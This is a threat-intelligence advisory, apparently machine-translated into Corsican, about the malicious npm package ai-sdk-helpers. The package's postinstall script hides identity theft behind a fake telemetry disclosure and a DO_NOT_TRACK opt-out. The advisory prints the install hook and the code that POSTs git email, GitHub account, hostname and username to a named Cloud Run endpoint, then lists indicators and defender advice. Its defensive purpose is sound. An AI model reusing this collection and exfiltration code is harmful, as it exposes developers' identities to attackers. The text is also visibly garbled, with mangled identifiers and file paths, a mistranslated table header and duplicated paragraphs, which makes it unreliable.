TL; DR
Un unicu pacchettu npm, aiutanti-ai-sdk, si prisenta cum'è un kit di strumenti di pruduzzione per u Vercel AI SDK, chì offre u seguimentu di i costi, u fallback di u fornitore è l'aiuti di streaming.
U so script di stallazione si apre cù un banner di divulgazione raffinatu chì descrive diagnostica anonima, prumittendu chì nisun codice surghjente, gettoni o credenziali ùn sò trasmessi, onuràndu un DO_NOT_TRACK rinuncia à l'abbonamentu è ligame à una pagina di pulitica di telemetria.
U listessu script leghje tandu l'identità git di u sviluppatore, a cunfigurazione CLI di GitHub, u nome di l'ospite di a macchina, u nome d'utilizatore di u sistema operativu, u cartulare di travagliu è u fornitore CI.
Quelli dati sò mandati cum'è JSON à un endpoint di Google Cloud Run, creendu una chiara discrepanza trà a pulitica di telemetria dichjarata è i campi effettivamente raccolti.
U pacchettu hè statu publicatu in vintidui versioni in una sola raffica di 83 secondi, è u script d'installazione hè identicu byte per byte in ogni versione segnalata.
Sette di l'ottu versioni riviste da u nostru pipeline sò stati valutati inconcludenti da u classificatore ML perchè u stile di u banner di cunsensu si leghje cum'è una telemetria legittima.
Classificemu ai-sdk-helpers cum'è maliziosu basatu annantu à a cullezzione è l'esfiltrazione di l'identità di u sviluppatore à u mumentu di l'installazione.
Severità: alta.
Anatomia di l'installazione
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } postinstallazione funziona automaticamente npm install, prima chì qualsiasi codice publicitatu di u pacchettu sia mai impurtatu. U script scripts/postinstall.js hè induve si trova tuttu u cumpurtamentu in tempu d'installazione.
Si apre cù un bloccu di cumenti è un avvisu di runtime scrittu in u registru di un prughjettu open-source attenti à a privacy:
Quandu installate ai-sdk-helpers, eseguimu una rapida verificazione di cumpatibilità di l'ambiente è signalemu diagnostichi anonimi... I dati sò cumpletamente anonimi - raccogliemu a vostra piattaforma, a versione di Node è un hash unidirezionale di l'identificatore di a vostra macchina. Nisun codice surghjente, token o credenziali sò mai trasmessi.
Cunnette ancu una porta di opt-out funzionale, u primu codice eseguibile in u schedariu:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Attaccà prima sta porta hè ciò chì face chì u restu sia lettu cum'è consensuale: un sviluppatore chì stabilisce `D_ÙN_TRACCIA vede l'installazione cumpleta in silenziu è cunclude chì u pacchettu rispetta a cunvenzione. L'opt-out onoratu hè reale. Ciò chì apre, per tutti quelli chì ùn l'impostanu micca, hè a cullezzione discritta quì sottu - micca a più stretta "piattaforma, versione Node, è un hash unidirezionale" chì l'avvisu chjama.
Sottu à quella porta, u script assembla un payload chì va ben oltre quella descrizzione.
- *Gidentità t.* rrisolviriScmIdentità()` testa `~.gitconfig`,`~.config/git/config`,è u prugettu attuale `.it/config`,analizza u `[ser]` ezione, è restituisce a cunfigurazione commit email. S'ellu ùn ci hè micca un schedariu di cunfigurazione chì dà un email, si torna à u `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,è `EAIL` variabili d'ambiente. Una docstring sopra à a funzione inquadra a lettura cum'è un modu "per deduplicate installazioni trà macchine pussedute da a stessa persona (per esempiu laptop + CI)" - un scopu dichjaratu chì richiede un identificatore stabile per sviluppatore, chì a commit forniture per email.
- *GContu tHub.* rsolveGitHubIdentity()` testa `~.config/gh/hosts.yml` è `~.config/gh/hosts.yaml` u schedariu di cunfigurazione scrittu da a CLI di GitHub quandu un sviluppatore s'autentica - è estrae cù regex l'uer:` è `emale:` campi. Quellu schedariu cuntene ancu u token GitHub OAuth; a regex di u script hà cum'è scopu specificamente u nome d'utilizatore è e linee di email è ùn estrae micca u token. L'affermazione di u banner di divulgazione "nisun token... hè mai trasmessu" hè dunque letteralmente vera per quellu campu mentre l'identificatori di contu circundanti sò letti è mandati.
- *Hst è impronta digitale CI.* U script poi raccoglie `o.nome_ospite()`,`o.userInfo().username`,a versione, a piattaforma è l'architettura di Node, `pocess.cwd()`,è una etichetta di furnitore CI risolta verificendu e variabili d'ambiente per ottu furnitori (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, è dui flag generic-CI). A lista di furnitori si legge cum'è un inventariu di induve u script prevede di esse eseguitu - shell interattive è compilazione automatizata. pipelines simile.
Tutti questi sò raggruppati in un unicu `dagnostici ughjettu, cù i campi per sviluppatore raccolti sottu à un `ientità ey è i dati di l'ospite sottu `rtempu n è `cntext` eys, poi serializatu è trasmessu:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); A risposta hè scartata è tutti l'errori sò inghjuttiti - un cummentariu nota chì "a telemetria ùn deve mai interrompe l'installazione". U nome di l'host di u puntu finale codifica un serviziu Google Cloud Run in u `ecorda-ovest1` egione.
A lacuna hè a storia. U banner nomina trè categurie di dati - piattaforma, versione di Node, hash di l'identificatore di macchina. U payload manda u veru git di un sviluppatore. commit email, u so nome d'utilizatore GitHub è l'email, u nome di l'ospite di a so macchina è u nome di u contu OS, u percorsu di u so prughjettu è u so ambiente CI. I campi chì identificanu un *ppersona è i so conti* esattamente i campi chì a divulgazione omette.
U README rinforza l'inquadramentu da l'altra parte. A so sezzione "Telemetria" ripete a rivendicazione d'anonimatu è cullega a parola `D_ÙN_TRACCIA o `cnsoledonottrack.com`,a pagina di a cumunità vera chì documenta a cunvenzione di opt-out - pigliendu in prestitu una privacy ricunnisciuta standard per fà chì l'avvisu sia lettu cum'è rutina.
Timeline
Questa hè una scuperta di un solu pacchettu cù una storia di publicazione assai corta è assai densa. Ùn ci hè micca un arcu di campagna di parechje settimane da traccià - tutta a gamma di versioni hè stata spinta à velocità di a macchina.
| Quandu (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Prima versione (0.1.0) publicatu nant'à npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tutte e 22 versioni (0.1.0 attraversu 1.4.2) publicatu in una raffica automatizata di 83 secondi. |
| 2026-06-04 | Ottu versioni segnalate da signali di rilevazione; l'analisi manuale cunfirma a raccolta è l'esfiltrazione di l'identità à u mumentu di l'installazione. U pacchettu era sempre in diretta nantu à npm à u mumentu di l'analisi. |
A finestra di 83 secondi in 22 versioni semantiche hè ella stessa un indicatore cumportamentale: a scala di versione (`01.0`,`01.1`,… `14.2`)presenta a superficia di un prughjettu mantinutu attivamente cù una storia di liberazione, prudutta in una sola esecuzione scriptata. U script d'installazione ùn cambia micca in quella scala - vede quì sottu.
Indicatori di compromessi
U payload di u tempu d'installazione hè identicu in tutta a gamma di versioni publicate. A `dff` f `sripts/postinstall.js` trà a versione `02.1 ' nd versione `14.2 ' ùn restituisce nisuna differenza; u cumpurtamentu hè una impronta digitale fissa, micca un payload in evoluzione.
Network
A finestra di 83 secondi in 22 versioni semantiche hè ella stessa un indicatore cumportamentale: a scala di versione (`01.0`,`01.1`,… `14.2`)presenta a superficia di un prughjettu mantinutu attivamente cù una storia di liberazione, prudutta in una sola esecuzione scriptata. U script d'installazione ùn cambia micca in quella scala - vede quì sottu.
Indicatori di compromessi
U payload di u tempu d'installazione hè identicu in tutta a gamma di versioni publicate. A `dff` f `sripts/postinstall.js` trà a versione `02.1 ' nd versione `14.2 ' ùn restituisce nisuna differenza; u cumpurtamentu hè una impronta digitale fissa, micca un payload in evoluzione.
Network
| pressure | rolu |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Puntu finale di esfiltrazione chì riceve richieste HTTPS POST cù payload JSON. Ospitatu in Google Cloud Run in u europe-west1 Rigioni. |
Infrastruttura esca
| pressure | rolu |
|---|---|
ai-sdk.guide | Pagina iniziale di u pacchettu è situ in diretta chì sustene l'identità di l'autore "AI SDK Guide". |
ai-sdk.guide/telemetry | URL di a pulitica di telemetria citata in l'avvisu di divulgazione à u mumentu di l'installazione. |
hello@ai-sdk.guide | E-mail di l'autore dichjaratu in package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repositoriu surghjente dichjaratu da u pacchettu. |
I fugliali letti à u mumentu di l'installazione
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Interfaccia di linea di comando di GitHuber` `emale
Firme cumportamentali
- – m `pstinstall` ook chì invoca un script Node in bundle
- – porta di rinuncia (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ÙN_TRACCIA`)presentatu cum'è una funzione di privacy, prima di a raccolta di l'identità
- – tbound HTTPS POST di un ughjettu JSON chì cuntene l'email git, l'identità GitHub, u nome di l'ospite, u nome d'utilizatore di u sistema operativu, cwd è l'etichetta CI
- – script d'installazione te-identicu attraversu una scala di versione publicata rapidamente
Attribuzione è cumpurtamentu osservatu
Ùn attribuemu nunda al di là di ciò chì registranu i metadati di u pacchettu è di u registru.
U mantenitore di registru npm hè u contu `aielsimon`,cù l'indirizzu `aiel@vigilance.security`.U registru elenca quellu email cum'è micca verificatu è l'identità di cuntrollu di fonte di u contu cum'è micca verificata. U `pckage.json`,separatamente, presenta l'autore cum'è "Guida SDK AI`ello@ai-sdk.guide>`”cù una pagina iniziale di `a-sdk.guide` è un repositoriu surghjente sottu à un `gOrganizazione thub.com/ai-sdk-guide`. U duminiu di e-mail di u contu di publicazione (`vigilance.security`)è l'identità di l'autore in u pacchettu (`a-sdk.guide`)sò duminii diversi.
U `a-sdk.guide` ite hè in diretta è risponde, è u `/elemetria ath risolve - l'identità esca hè sustenuta da una presenza web raggiungibile piuttostu chè da un ligame mortu, ciò chì aumenta a credibilità di l'inquadramentu di u pacchettu.
**Capacità osservata.** À u mumentu di l'installazione, u pacchettu leghje l'identità di u sviluppatore è i fugliali di cunfigurazione di u contu, piglia l'impronte digitali di l'ospite è di l'ambiente CI, è trasmette u risultatu à un endpoint cuntrullatu da l'operatore, mentre visualizza un avvisu chì descrive un inseme di dati più strettu è anonimizatu. Descrivemu stu cumpurtamentu; ùn affermemu micca un mutivu per questu. I lettori chì valutanu u pacchettu - cumpresa qualsiasi parte chì ricunnosce l'identità di publicazione - devenu valutà a discrepanza osservabile trà i flussi di dati dichjarati è quelli effettivi.
Impattu, tendenze è guida per i difensori
Quale hè espostu. Chiunque installa aiutanti-ai-sdk — direttamente o cum'è una dipendenza transitiva — esegue a cullezzione nantu à quella macchina. Perchè u trigger hè postinstallazione, u codice di a biblioteca publicitatu ùn deve mai esse impurtatu per chì u flussu di dati si verifichi; l'installazione sola hè sufficiente. L'ambienti di più valore sò e stazioni di travagliu di sviluppatore cù una identità git cunfigurata è una CLI GitHub autenticata, è i corridori CI, induve a rilevazione di u fornitore CI di u script indica chì a cullezzione hè prevista per esse eseguita in a compilazione. pipelineè ancu nantu à l'urdinatori portatili.
Ciò chì palesa. Micca sicreti di l'applicazione in u casu generale - a carica utile si concentra nantu à identità: u sviluppatore commit email, u nome di u so contu GitHub è l'email, i nomi di a macchina è di u contu, è u percorsu di u prugettu. Què hè una precisA mappa di quale hà stallatu u pacchettu, nantu à quale macchina, in quale repositoriu è sottu à quale sistema CI. Per una urganizazione, una manata di tali registri presi inseme enumerebbenu quali ingegneri è quali sistemi di compilazione anu tiratu a dipendenza - utile cum'è precursore per una attività di seguitu più mirata, ancu s'è u cumpurtamentu di stu pacchettu si ferma à a cullezzione è a trasmissione.
A tendenza: a telemetria cum'è copertura. L'arnesi di sviluppu legittimi raccolgenu diagnostichi d'installazione anonimizzati, è e cunvenzioni per fà lu rispettosamente - un avvisu di divulgazione, un ÙN_TRACCIATE onore, una bandera di opt-out, un URL di pulitica - sò ben cunnisciuti. aiutanti-ai-sdk riproduce fedelmente tutte e quattru cunvenzioni è l'utiliza cum'è involucru per a raccolta di l'identità. A presenza di un banner di cunsensu, un opt-out funzionale, o un ligame di pulitica di privacy ùn hè micca prova chì un pacchettu hè affidabile; questi cuntrolli sò economici da imità. L'unica verificazione affidabile hè ciò chì u codice legge in realtà è induve u manda in realtà.
Questu imballaggio hà ancu un effettu misurabile nantu à u triage automatizatu. In tutte e versioni, u nostru pipeline rivisti, i cumenti in lingua chjara di u script d'installazione, i nomi di campi strutturati è a porta di opt-out cunvinziunale sò stati valutati cum'è telemetria ordinaria: sette di l'ottu sò tornati inconclusu da u classificatore ML piuttostu chè maliziosu. U signale chì risolve l'ambiguità ùn hè micca in a prosa - hè in i fugliali specifichi chì u script apre (~ / .gitconfig, ~/.config/gh/hosts.yml) è a destinazione à a quale manda. Un revisore, automatizatu o umanu, chì leghje a divulgazione è si ferma quì ghjunghjerà à a cunclusione sbagliata; a determinazione deve vene da i fatti di u flussu di dati.
Guida per i difensori:
- Installà cù i scripts disattivati per difettu — npm installà –ignore-scripts, o mette ignurà-scripts=veru in .npmrc è eseguisce passi di custruzzione verificati in modu esplicitu. Questu neutralizza postinstallazione- cullezzione attivata in tuttu u cunsigliu.
- Ùn trattate micca i cuntrolli di rinuncia cum'è signali di fiducia. A ÙN_TRACCIATE Una verificazione o un ligame "pulitica di telemetria" ùn vi dice nunda nantu à i dati chì un script raccoglie quandu a porta ùn hè micca impostata.
- Leghjite u ganciu d'installazione prima di aduttà i pacchetti d'aiutu di l'ecosistema AI. U spaziu Vercel AI SDK hè un target in rapida evoluzione è di alta fiducia; a postinstallazione chì tocca ~ / .gitconfig or ~/.config/gh/ hè un signale chjaru indipendentemente da cumu sò scritti i cummenti circundanti.
- Monitorà l'uscita in tempu di custruzzione. Un POST HTTPS in uscita durante npm install, in particulare à un endpoint di funzione cloud appena furnitu, hè osservabile à u livellu di rete è hè un puntu di rilevazione forte per l'ambienti CI.
- Attenti à e scale di versione compresse. Un pacchettu chì a so storia completa di versione semantica appare in pochi secondi, cù un script d'installazione immutabile, presenta una storia di manutenzione fabbricata.





